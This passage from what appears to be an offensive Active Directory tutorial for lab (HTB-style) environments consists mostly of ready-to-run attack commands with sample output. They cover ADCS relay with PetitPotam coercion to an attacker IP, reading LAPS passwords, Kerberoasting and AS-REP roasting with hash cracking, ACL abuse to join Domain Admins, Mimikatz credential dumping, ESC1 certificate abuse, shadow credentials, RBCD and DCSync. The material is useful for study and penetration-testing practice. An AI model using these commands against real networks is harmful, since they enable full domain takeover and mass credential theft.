certipy template -u [email protected] -p 'password' -template 'TargetTemplate' \
-configuration old_config.json -dc-ip DC_IP
# If ADCS has a web enrollment endpoint (HTTP) without HTTPS enforcement,
# you can relay NTLM authentication to request certificates:
# Step 1: Set up NTLM relay to the web enrollment endpoint
impacket-ntlmrelayx -t http://ca.domain.htb/certsrv/certfnsh.asp \
-smb2support --adcs --template 'DomainController'
# Step 2: Coerce authentication from the DC (PetitPotam):
python3 PetitPotam.py ATTACKER_IP DC_IP
# Step 3: The relay captures the DC's authentication and requests a cert
# Output: Base64-encoded certificate for DC01$
# Step 4: Authenticate with the certificate:
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# β DC01$ NTLM hash β DCSync!
LAPS (Local Administrator Password Solution) is a Microsoft tool that automatically sets unique, random passwords for the local Administrator account on each domain-joined computer. The passwords are stored in AD as a readable attribute on each computer object. The catch: only certain users and groups are supposed to be able to read these passwords. If you happen to be in one of those groups (or can get into one), you get the local admin password in cleartext. It's basically a password vault stored in AD.
# βββ Check if LAPS is deployed ββββββββββ
# From Linux:
crackmapexec ldap DC_IP -u user -p password -M laps
# Or:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' \
'(ms-Mcs-AdmPwdExpirationTime=*)' ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime sAMAccountName
# From Windows:
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
# βββ Read LAPS passwords ββββββββββββββββ
# By default, only specific groups can read ms-Mcs-AdmPwd
# Check who has read access:
# BloodHound: "Find Principals with ReadLAPSPassword rights"
# Or with PowerView:
Get-DomainObjectAcl -SearchBase 'CN=Computers,DC=domain,DC=htb' -ResolveGUIDs | ? {$_.ObjectAceType -match 'ms-Mcs-AdmPwd'}
# If you have read access:
# From Linux:
crackmapexec smb DC_IP -u user -p password --laps
# Output: domain.htb\TARGET$ password: xK#9mP2!qR7
# From Linux with ldapsearch:
ldapsearch -x -H ldap://DC_IP -D '[email protected]' -w 'password' -b 'DC=domain,DC=htb' \
'(sAMAccountName=TARGET$)' ms-Mcs-AdmPwd
# ms-Mcs-AdmPwd: xK#9mP2!qR7
# From Windows:
Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# βββ Use the LAPS password ββββββββββββββ
# The password is for the LOCAL administrator account:
crackmapexec smb TARGET_IP -u Administrator -p 'xK#9mP2!qR7' --local-auth
evil-winrm -i TARGET_IP -u Administrator -p 'xK#9mP2!qR7'
impacket-psexec ./Administrator:'xK#9mP2!qR7'@TARGET_IP
# LAPS v2 (Windows LAPS) uses a different attribute:
# msLAPS-Password (JSON format with username and password)
# msLAPS-EncryptedPassword (encrypted β harder to extract)
These three scenarios walk through realistic multi-step AD attack chains from start to finish.
# βββ Phase 1: Initial Foothold ββββββββββ
# Exploit a web application (e.g., file upload RCE) to get a shell on a web server
# You're running as IIS APPPOOL\DefaultAppPool
# βββ Phase 2: Credential Discovery ββββββ
# Find database connection string in web.config:
type C:\inetpub\wwwroot\web.config
# connectionString="Server=SQL01;Database=app;User Id=svc_web;Password=WebSvc2024!"
# Test the creds against the domain:
# (From your Linux attacker machine)
crackmapexec smb DC_IP -u svc_web -p 'WebSvc2024!'
# [+] domain.htb\svc_web:WebSvc2024!
# βββ Phase 3: Enumeration βββββββββββββββ
# Run BloodHound:
bloodhound-python -u svc_web -p 'WebSvc2024!' -d domain.htb -ns DC_IP -c all
# Quick wins β Kerberoasting:
impacket-GetUserSPNs domain.htb/svc_web:'WebSvc2024!' -dc-ip DC_IP -request
# Found: svc_sql has SPN MSSQLSvc/sql01.domain.htb:1433
# $krb5tgs$23$*svc_sql$DOMAIN.HTB$...
# Crack the hash:
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt
# Cracked: svc_sql:SqlAdmin2020!
# βββ Phase 4: BloodHound Analysis βββββββ
# Mark svc_web and svc_sql as "Owned" in BloodHound
# Run: "Shortest Paths to Domain Admins from Owned Principals"
# BloodHound shows: svc_sql β GenericAll on IT-ADMINS group β
# IT-ADMINS β WriteDACL on Domain Admins
# βββ Phase 5: ACL Abuse Chain βββββββββββ
# svc_sql has GenericAll on IT-ADMINS β add ourselves:
net rpc group addmem "IT-ADMINS" svc_sql -U 'domain.htb/svc_sql%SqlAdmin2020!' -S DC_IP
# IT-ADMINS has WriteDACL on Domain Admins β grant ourselves GenericAll:
impacket-dacledit domain.htb/svc_sql:'SqlAdmin2020!' -target-dn 'CN=Domain Admins,CN=Users,DC=domain,DC=htb' \
-dc-ip DC_IP -action write -rights FullControl -principal svc_sql
# Now add svc_sql to Domain Admins:
net rpc group addmem "Domain Admins" svc_sql -U 'domain.htb/svc_sql%SqlAdmin2020!' -S DC_IP
# βββ Phase 6: Domain Admin! βββββββββββββ
impacket-secretsdump domain.htb/svc_sql:'SqlAdmin2020!'@DC_IP
# Dumps ALL domain hashes
# βββ Starting position: Domain user with limited access ββ
# User: j.smith / Fall2024!
# βββ Step 1: Enumerate LAPS permissions ββ
# BloodHound shows: j.smith is in "HELPDESK" group
# HELPDESK group has ReadLAPSPassword on WS01
# βββ Step 2: Read LAPS password βββββββββ
crackmapexec smb DC_IP -u j.smith -p 'Fall2024!' --laps --computer WS01
# WS01 local admin password: Rk$8mQ2pX!
# βββ Step 3: Access WS01 as local admin ββ
evil-winrm -i WS01_IP -u Administrator -p 'Rk$8mQ2pX!'
# βββ Step 4: Dump cached credentials ββββ
# Check for logged-in domain users (Mimikatz):
.\mimikatz.exe "sekurlsa::logonpasswords" exit
# Found cached credentials for: m.jones (IT admin)
# NTLM: a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4
# βββ Step 5: Enumerate ADCS with m.jones β
certipy find -u [email protected] -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -dc-ip DC_IP
# Found ESC1 vulnerable template: "UserAuthentication"
# m.jones has enrollment rights!
# βββ Step 6: Exploit ESC1 for DA βββββββββ
certipy req -u [email protected] -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-ca 'CORP-CA' -template 'UserAuthentication' -upn [email protected] -dc-ip DC_IP
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# β Administrator NTLM hash β Domain Admin!
# βββ Starting position: Username list, no passwords ββββββ
# βββ Step 1: AS-REP Roast βββββββββββββββ
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP
# Found: svc_scanner does not require pre-authentication
# [email protected]:...
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt
# Cracked: svc_scanner:Scanner1!
# βββ Step 2: Enumerate with new credentials β
bloodhound-python -u svc_scanner -p 'Scanner1!' -d domain.htb -ns DC_IP -c all
# BloodHound shows: svc_scanner has GenericWrite on SERVER01$ computer object
# βββ Step 3: Shadow Credentials on SERVER01$ β
# Add a key credential to SERVER01$:
pywhisker -d domain.htb -u svc_scanner -p 'Scanner1!' --target 'SERVER01$' --action add --dc-ip DC_IP
# Output: server01.pfx with password
# Get TGT for SERVER01$:
python3 gettgtpkinit.py domain.htb/'SERVER01$' -cert-pfx server01.pfx -pfx-pass CertPass123 server01.ccache
# Extract NTLM hash:
export KRB5CCNAME=server01.ccache
python3 getnthash.py domain.htb/'SERVER01$' -key AS_REP_KEY
# SERVER01$ NTLM: 1234567890abcdef1234567890abcdef
# βββ Step 4: RBCD from SERVER01$ to DC01$ β
# svc_scanner has GenericWrite on SERVER01$ β already used for shadow creds
# Now check: does svc_scanner have write access on DC01$?
# If not, use SERVER01$ credentials to check for relay paths...
# Actually, use RBCD differently β configure RBCD on SERVER01$ itself:
# Create a new computer account:
impacket-addcomputer domain.htb/svc_scanner:'Scanner1!' -computer-name 'EVIL$' -computer-pass 'Evil123!'
# Set RBCD: let EVIL$ impersonate users to SERVER01$:
impacket-rbcd domain.htb/svc_scanner:'Scanner1!' -delegate-to 'SERVER01$' -delegate-from 'EVIL$' -dc-ip DC_IP -action write
# Get ticket as Administrator to SERVER01$:
impacket-getST -spn 'CIFS/server01.domain.htb' -impersonate Administrator \
domain.htb/'EVIL$':'Evil123!' -dc-ip DC_IP
# βββ Step 5: Pivot through SERVER01 βββββ
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass server01.domain.htb
# On SERVER01: dump cached Domain Admin credentials with Mimikatz
# Found: Domain Admin NTLM hash from cached logon!
# βββ Step 6: DCSync with DA credentials ββ
impacket-secretsdump domain.htb/administrator@DC_IP -hashes :DA_NTLM_HASH